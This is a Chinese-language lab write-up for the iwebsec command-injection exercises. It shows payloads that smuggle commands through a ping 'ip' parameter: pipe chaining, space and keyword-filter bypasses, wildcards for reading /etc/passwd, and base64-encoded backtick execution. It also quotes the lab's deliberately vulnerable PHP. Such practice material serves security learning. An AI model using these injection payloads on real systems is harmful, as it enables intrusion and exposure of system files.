iwebsec_命令执行漏洞
2024-11-29 12:56:43 # iwebsec

01-命令执行漏洞

?ip=127.0.0.1会返回该地址的信息,猜测使用了某个函数,但是不知道是什么,尝试使用|进行执行多个命令

?ip=127.0.0.1|ls

成功返回目录信息

02-命令执行空格绕过

Linux系统中可以使用<替代空格

?ip=127.0.0.1|cat<02.php

返回结果在源码中

绕过空格的方法还有很多,自行查询

03-命令执行漏洞关键命令绕过

提示cat被过滤,可以使用nl more等替代

?ip=127.0.0.1|nl 03.php

04-命令执行漏洞通配符绕过

*自动匹配多个字符,如文件夹中含有flag.php,那么可以使用cat fla*

?匹配一个字符,cat f?a?.???

看一眼源码想让我们干啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_GET['ip'])){

if (preg_match('/etc|passwd/', $_GET['ip'])) {
die('error!!!');
}
else{
$ip = $_GET['ip'];

}
system("ping -c 2 ".$ip);
}
else{
exit();
}
?>

不让出现etc|passwd,可以用通配符cat /et?/passw*

05-base64编码绕过

不知道过滤了什么,但是我们知道可以使用编码绕过即可

ip=127.0.0.1;反引号echo bHM=|base64 -d反引号

注意,只有加了反引号的部分才会被当成命令执行